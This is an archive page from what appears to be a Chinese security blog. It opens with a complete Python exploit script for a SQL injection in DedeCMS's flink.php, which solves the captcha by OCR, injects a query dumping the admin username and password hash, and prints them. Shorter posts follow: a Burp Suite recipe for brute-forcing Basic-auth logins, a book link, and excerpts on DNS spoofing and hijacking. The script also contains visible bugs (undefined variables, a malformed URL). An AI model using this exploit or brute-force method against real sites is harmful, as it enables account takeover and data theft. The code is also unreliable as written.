2015年6月

Dede CMS plus/link.php 注入EXP

#coding=utf-8

'''
cms: dedecms
path: /plus/flink.php
type SQLi
auth L34Rn
'''

import sys
import os
import re
from urllib2 import urlopen
from urllib2 import Request
from pytesser import getCheckCode

codeFile="code.jpg"
checkCodeBaseUrl="/include/vdimgck.php"
baseUrl = "/plus/flink.php"
shellcode="Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=sava&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2f&ischeck=1&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass&validate="

headers={
	"Content-Type":"applocation/x-www-form-urlencoded",
	"Cookie":"PHPSESSID=4bncpf8cudfmnquxxdcpkrb12s97; DedeUserID=1; DedeUserID__ckMd5=3e8e80104cbfad5d; DedeLoginTime=1397994952; DedeLoginTime__ckMd5=faedace47fa2ac95"
}

def downloadCheckCode(url,headers):
	'''
	get check code image
	'''
	with open(codeFile,"wb") as f:
		try:
			req = Request(url,headers=headers)
			res = urlopen(req)
			f.write(res.read())
			return True
		except Exception,e:
			print "[+] Error:",str(e)
			return False



def postShellcode(url,shellcode,headers):
	'''
	post shellcode
	'''
	try:
		req = Request(url,data=Shellcode,headers=headers)
		res = urlopen(req)
		print "[+] Response Length:",len(res.read())
		return True
	except Exception,e:
		print "[+] ",str(e)
		return False


def checkResult(url):
	'''
	check attack result!
	'''
	res = urlopen(url)
	rex = re.search(r"<a href='http://' target='_blank'><img src='(w+|w{20})' width='88' height='31' border='0' alt='pass',''>",res.read())
	if rex == None:
		return False
	else:
		return rex.group(1).split("|")


def usage():
	print '[+] usage:exp.py <host> [port] [cmsPath]'
	print '[+] example1: exp.py [url=http://www.xxoo.com]www.xxoo.com[/url]'
	print '[+] example2: exp,py [url=http://www.xxoo.com]www.xxoo.com[/url] 8080'
	print '[+] example3: exp.py [url=http://www.xxoo.com]www.xxoo.com[/url] 8080 /dedecms'


def main():
	global shellcode
	port = '80'
	path = ''
	if len(sys.argv) < 2:
		usage()
		exit()
	elif len(sys.argv) == 2:
		host=sys.argv[1]
	elif len(sys.argv) == 3:
		host=sys.argv[1]
		port=sys.argv[2]
	elif len(sys.argv) == 4:
		host=sys.argv[1]
		port=sys.argv[2]
		path=sys.argv[3]
	else:
		usage()
		exit()
	formatUrl="http://"+host+port+path
	url=formatUrl+baseUrl
	print "[+] attack start ok!"
	print "[+] url:",url
	checkCodeUrl=formatUrl+checkCodeBaseUrl
	checkResultUrl=formatUrl+baseUrl
	print "[+] download check code now ..."
	tof = downloadCheckCode(checkCodeUrl,headers)
	if tof == False:
		print "[+] download check code Error!"
		print "[+] jsut try again!"
		exit()
	else:
		print "[+] image to code ok!"
		print "[+] check code is:",code
	shellcode+=code
	print "[+] post shellcode now ..."
	tof = postShellcode(url,shellcode,headers)
	if tof == False:
		print "[+] post shellcode Error!"
		exit()
	else:
		print "[+] shellcode post ok!"
	print "[+] check Result Now ..."
	res =checkResult(checkResultUrl)
	if res == False:
		print "[+] attack Complete,but Failed!"
	else:
		print "[+] attack Complete!"
		print "[+] attack Username:", res[0]
		print "[+] attack Password:",res[-1][3:-1]



if __name__ == "__main__":
	try:
		main()
	except Exception,e:
		print "[+] Error: ",str(e)

Burp 奇怪的处理脚本以及他们的组合体

今天做黑盒测试的时候需要爆破一个入口. 看请求包 20150624202959 被标记的爆破参数与某些路由器和容器的登录验证方式一样使用的是 www-authenticate.
与平常使用的 HTTP POST/GET 明文提交 user&pass 方式不同
www-authenticate 验证方式将用户名与密码经过 bash64 编码后与请求头一起发送
[sourcecode language="python"]base64(username:password)[/sourcecode]
爆破平常的 HTTP POST/GET 包是分别在提交参数中用 '分节符' 标记 user 和 pass
然后在 payload 中设置好爆破用的 user 或者 pass 或者 user&pass 即可.
而 www-authenticate 需要再编码一次. 针对这种方式在 BURP 早就给出了解决方案. 20150624203133 已知用户名为 postmaster, 密码已经在 payload 中加载完毕.
根据 base64(user:pass) 的表达式, 在 burp 中添加处理脚本
'Add Prefix' 在 payload 前加入特定字符串.
然后添加 Base64 Encode 处理脚本 'Base64-encode'
假设 payload.txt 中第一行字符串为 'adminpass'
burp 加载 payload 取出 'adminpass';
'Add Prefix'+payload -> 'postmaster:adminpass';
'Base64-encode' -> 'cG9zdG1hc3RlcjphZG1pbnBhc3M=';
然后根据参数提交至服务器,完成一轮爆破

暗战亮剑--攻防实录

titile:暗战亮剑--攻防实录

下载地址 : http://pan.baidu.com/s/1ntEEJ3b

虽然我是不怎么看这方面的书... 留着备份

家用路由器之 DNS 欺骗到攻陷用户主机

看到图相信很多大牛都知道怎么回事了. ---大牛退散(_)/~~~

声明:本文仅供爱好者研究参考使用,请勿用作非法用途

国内大多使用家用路由器拨号上网,下接设备1,设备2,设备3 ....并且使用DHCP模式

而这就给了攻击者提供了很大的方便.只要修改DNS,那么普通用户就难逃魔掌.

- 阅读剩余部分 -

企业级 DNS 劫持

原创: 道士 One
今天挺闲就写一篇关于企业网络DNS劫持的文章,下面上一张企业网的标准的网络拓扑
061815_1201_DNS1.png 上图就是一个简单的企业网内部网络,如果攻击者为被黑客攻陷的计算机,那么一旦攻陷黑客就可以攻击企业网内部任意的机器,攻击手法也多样,比如中间人攻击、DHCP攻击、arp劫、DNS劫持等等很多种,今天就来讲讲DNS劫持,要说到DNS劫持就不得不说说企业内网如何在多层交换上搭建一个DHCP服务器,下面贴出命令和代码进行一下讲解。

- 阅读剩余部分 -